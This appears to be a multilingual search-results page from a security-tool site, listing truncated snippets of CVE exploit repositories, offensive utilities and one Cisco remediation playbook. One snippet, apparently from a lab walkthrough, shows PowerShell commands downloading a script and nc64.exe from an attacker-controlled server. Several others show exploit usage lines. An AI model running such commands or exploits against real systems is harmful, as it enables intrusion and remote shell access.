3211 matches found
CVE-2023-34924
CVE-2023-34924 A buffer over flow vulnerability of H3CMagicB1STV100R012 router CVE info: root@kitploit: • the name of an affected Product: H3C Magic B1STW B1STV100R012 router • the affected or fixed versions: affected version: H3C-Magic-B1STW - H3CMagicB1STV100R012. Fixed version: none • the CVE ...
CVE-2024-7399-POC
CVE-2024-7399 Exploit para CVE-2024-7399. Más detalles se pueden encontrar aquí: https://davidxbors.github.io/0xpages/posts/cve-2024-7399/. Uso: root@kitploit: python3 CVE-2024-7399.py https://localhost:7002/ --check python3 CVE-2024-7399.py https://localhost:7002/ --execute python3...
satellite
satellite Satellite es un servicio de alojamiento de payloads web que filtra las solicitudes para asegurar que el objetivo correcto recibe el payload. También puede ser un servicio útil para alojar archivos que solo deben ser accedidos en circunstancias muy específicas. Guía de inicio rápido 1...
CVE-2021-42913
CVE-2021-42913 Samsung Printer SCX-6X55X Control de acceso inadecuado El SyncThru Web Service de la serie Samsung Printer SCX-6x55X se ve afectado por una vulnerabilidad de control de acceso inadecuado. La vulnerabilidad puede permitir a un atacante obtener acceso a una lista de usuarios y...
VeilTransfer
VeilTransfer 2.0 VeilTransfer is a data exfiltration utility designed to test and enhance detection capabilities. This tool simulates real-world data exfiltration techniques used by advanced threat actors, allowing organizations to evaluate and improve their security posture. By leveraging multip...
CVE-2021-40438
CVE-2021-40438 construir root@kitploit: docker build -t cve-2021-40438:1.0 . ejecutar root@kitploit: docker run --rm -d -p 4444:80 cve-2021-40438:1.0 verificar CVE-2021-40438 root@kitploit: ./main.sh...
checkmk_cve-2024-0670
checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...
cve-2017-10271-poc
CVE-2017-10271 POC Introducción Esta es una prueba automática POC para CVE-2017-10271. Ha sido probada en CentOS 7 y Windows 7/10. Compilación Este proyecto está escrito en el lenguaje Rust. Primero necesitas instalar el entorno Rust desde https://www.rust-lang.org/ y luego compilar el proyecto c...
CVE-2023-23752
Joomla! options...
Nanobrok
Nanobrok Servicio Web Servicio Web escrito en Python para controlar y proteger tu dispositivo Android de forma remota. La aplicación oficial se puede encontrar en PlayStore: NanobrokPro Nanobrok Community Descripción general Nanobrok-Server es un potente servicio web de código abierto para...
WSSAT
WSSAT - Herramienta de Evaluación de Seguridad de Servicios Web WSSAT es una herramienta de escaneo de seguridad de servicios web de código abierto que proporciona un entorno dinámico para agregar, actualizar o eliminar vulnerabilidades simplemente editando sus archivos de configuración. Esta...
CVE-2021-40906
CVE-2021-40906 - XSS Reflejado en una zona no autenticada Aplicación: Consola de Administración Web de CheckMK Revisión de Software: De 1.5.0 a 1.5.0p25 Autor: Edgar Augusto Loyola Torres. Tipo de ataque: XSS Reflejado Solución: Actualizar a la Revisión de Software 1.6.0p26 o posterior Resumen: E...
frp
frp README | 中文文档 Sponsors frp is an open source project with its ongoing development made possible entirely by the support of our awesome sponsors. If you'd like to join them, please consider sponsoring frp's development. Gold Sponsors The complete IDE crafted for professional Go developers The...
rematch
|Read The Docs| |Gitter Chat| |Build Status| |Codacy Badge| |idaplugin PyPI| |server PyPI| rematch REmatch, otra herramienta de comparación binaria. Rematch todavía está en desarrollo y no tiene tantas funcionalidades como nos gustaría. La funcionalidad básica ya está disponible y se están...
CVE-2023-23752-EXPLOIT
CVE-2023-23752 - Joomla Contrôle d'accès inapproprié Un problème a été identifié dans les versions de Joomla 4.0.0 à 4.2.7. Cette vulnérabilité concerne un contrôle d'accès inapproprié au sein de l'application, permettant un accès non autorisé à des points de terminaison critiques de services web...
CVE-2018-2636
Instalación root@kitploit: $ pip install --user requests argparse unicodedata Información PoC para CVE-2018-2636. Ejemplo de uso root@kitploit: python eGw.py -H 127.0.0.1 -P 8080 -i ... Let's get info about server ! Your instance is vulnerable to CVE-2018-2636 ... Enlaces Oracle Critical Patch...
CVE-2022-0332
CVE-2022-0332 Moodle 3.11 to 3.11.4 - SQL injection POC root@kitploit: GET...
CVE-2026-91147
A denial-of-service flaw was identified in cockpit-ws , the web service component of Cockpit . When WebService.UrlRoot is configured, a remote, unauthenticated attacker can cause cockpit-ws to terminate unexpectedly by sending a request to the exact URL-root prefix without a trailing slash . The ...
CVE-2023-20198-Fix
CVE-2023-20198-Fix Este repositorio contiene un playbook de Ansible para remediar la vulnerabilidad CVE-2023-20198 encontrada en ciertos dispositivos Cisco. Hace lo siguiente: 1. Verifica si el servicio web se está ejecutando en el router comprobando los comandos asociados en la configuración en...